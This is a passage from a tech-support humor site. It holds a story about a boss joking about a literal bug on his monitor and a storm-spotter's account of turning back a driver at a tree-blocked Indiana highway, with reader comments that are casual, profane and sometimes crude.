Oh fuck. Yeah... I hate this country sometimes. My thesis adviser is moving back to Canada, and after I get my master's I may ask him for help in finding a job up there. -Seamyst
Listen up, maggots. You are not special. You are not a beautiful or unique snowflake. You're the same decaying organic matter as everything else. - Fight Club -SiamJetta
<-------------- Canuck here - You are all welcome - we'd love to have you! -stpatience
I've always been ashamed of being from the southern United States, now this has clenched it. -AdmiralLaurie
In Soviet America, dog walks you! -Mushroom
Idiocracy at it's best... Thanks for confirming my pessimistic attitude, Riff ;) -Ulfgaard
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105.
Computer Bug
$Owner: *over intercom* Riff?
ME: Yes, sir?
$Owner: I've got a small computer bug I need your help with.
ME: Be right there.
*short walk to $Owner's office*
ME: What's up?
$Owner: I've got a small bug... *pointing to screen*
Sure enough, there was a tiny bug crawling around behind the glass of his screen.
$Owner: Sorry, I just couldn't resist the joke.
ME: I thought *I* was the punster around here.
$Owner: Hey, you know what? Maybe he's after my cookies!
ME: *groan*
I swear, some days I don't know whether to laugh or cry around this place.
[By: RiffRaff]
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Comments
have you shown him the pics of other bugs you've found inside computers? -illiterate
No, I have unfortunately misplaced those. If anyone has a copy of them, please whiteboard me? -RiffRaff
I knew you were a bad influence. Now you've gone and corrupted your boss. ;-) -wolfprince
Flawless victory....for the boss. BFEG and LOL -redevil34
next time insist on a screenshot before going over. :) -Bynar
Cool Boss... -SoldierJedi
How do you get a bug behind the glass? I thought a CRTube was sealed? -VFox
Often the glare shield is not inegral with te front of teh CRT, and there can be an air space between them big enough for a very small bug. Likewise on an LCD, sometimes there is an air gap between the glass and the actual sealed unit, though not as often. -chazz
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106.
My Babies! What About My Babies? (NT/OT)
Magenta and I were involved in tracking last night's storms that hit Indianapolis and Central Indiana. Two tornadoes have been confirmed at this point, as well as a huge swath of straight-line wind damage across the state.
At one point, we were assisting Indiana State Police in blocking eastbound US Highway 40 near Knightstown, Indiana. A large tree had been blown down blocking both eastbound lanes and rendering it impassable.
Now, to set the stage for this stupid starfish incident, let me describe the scene: Our van is cantered across two lanes of highway, emergency lights flashing, headlights illuminating the tree across the road. Traffic cones have been placed across the highway directing drivers to a crossover where they could cut back over the median and head back west. I'm standing on the highway with a radio, flashlight, and reflective yellow jacket. One unattended vehicle is already down in the median, apparently having run off the road attempting to avoid the tree. And power is out throughout most of the county in question. In other words, it's pretty apparent to anyone with half a brain that something significant is going on.
And to be fair, 99.9% of the drivers we encountered simply followed the traffic cones and/or my directions and turned around with either no argument, or a quick question about how they could get around it. However, one idiot just about left me speechless.
A pickup truck comes along and starts to bypass the traffic cones. I immediately intercept it and direct it to turn left across the median crossover. A female passenger rolls down her window and says, "We've got to get through!"
{Smart-ass mode ON}
"Well, I've got a large tree that says you can't."
"But I've got three babies in the car! What am I supposed to do?!?"
And here, dear friends, time freezes, as she has used a tone of voice that makes it clear that having three babies in a vehicle precludes her from being affected by natural disasters, and the highway should just magically clear itself for their passage. My mind is flooded with a plethora of smart-ass comebacks. Such as:
"Well, you can have them get out and move the tree."
or
"Your children; how much do want for your children?"
or
"Try spermicide with your condoms?"
Ad infinitum. In reality, I merely directed them back the way they came with instructions to use I-70 instead of US 40 to head east.
I relayed the conversation to Magenta, who was even more incredulous than I was. We both agreed that it was a perfect TSC post.
By the way, I heard from VT this morning. His house suffered minor damage from an EF2 tornado that touched down east of Indianapolis. Other homes in his neighborhood weren't so lucky. That tornado was 150 yards wide with 125 mph winds. There is a lot of damage in Central Indiana at the moment.
[By: RiffRaff]
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Comments
Good on the low-damage factor for VT, and your safe passage. I was looking at the technical details this morning, and had been a bit worried. -Grue
"But I've got three babies in the car! What am I supposed to do?!?" Response: "How about NOT try to drive through a fucking tree with three babies in the car?" -OgdenTechGuy
Great to hear that you're all doing okay. Send Magenta and VT my best, and Riff, take care. -Seamus
Had a severe T-Storm blow through two hours ago... Pretty lights, lemme tell you. -ShujinTribble
Yet more proof -- as if any is needed -- that small children rot your brain (esp. if you have *fishy tendencies to begin with). -lowlyte
You keep chasing these storms...wtf are you going to do when you catch one :-)
be careful...we don't want you to change your user name from Riff to Dorothy. -Crashville
"Keep your knees together next time." -Mushroom
I didn't have to chase this storm--it chased me. And I didn't have clean underwear when it passed thru. -vacuumtubes
Wow, just wow.
I take it that both you & VTs' banjos were undamaged? -lineswine
VT made brown? -ProfessorFrink
Well, if you have three babies in the car, maybe, just maybe you should turn around, find an adoption agency, then get yourself sterilized... Just a thought. -unrenowned
if only Darwin awards didn't have to be awarded posthumously -stiffarm
stiff: They don't, they are also rendered when one has become sterilized by one's actions. Which is loads easier when the starfish is male, for plumbing reasons. And it's too late, she already cranked out three.
-Mushroom
I wonder how many of vt's customers will be complaining that they cain't get on the Innernet? -ManyHats
We passed that signpost yesterday. Already have received complaints. -vacuumtubes
VT: As the Cos' once said, "Cuz first you say it, then you do it!" (G) Srsly, glad all you guys are ok, wild winter & springs this year. Oh, and for the woman with three kids in the car: "Maybe you should have rolled over each time." (VHVEK9G) -MadJack
Oh, and Shuj: ever see the lightshow from above? Caught one on an evening flight from Atlanta to S.D. back in '95. AWESOME, especially when there's on turbulence. -MadJack
addendum: forgot to include was April '95, somewhere over Texas, if that tells you anything... -MadJack
Aw, damn, I gotta correct one thing I just noticed: that should be NO turbulence! -MadJack
Naw, it's gotta be better with the turbulence set to ON. -Stryker One
Meanwhile, those of us along the Gulf Coast got a reminder from Mother Nature that hurricane season has arrived. Already starting to go through the checklist for just in case... -VoiceOfSanity
The F5 tornado in Oklahoma City in 1999 came about a 2 blocks from my house. Scared me shitless. I have a healthy respect for tornado warnings. -crazymactech | | |
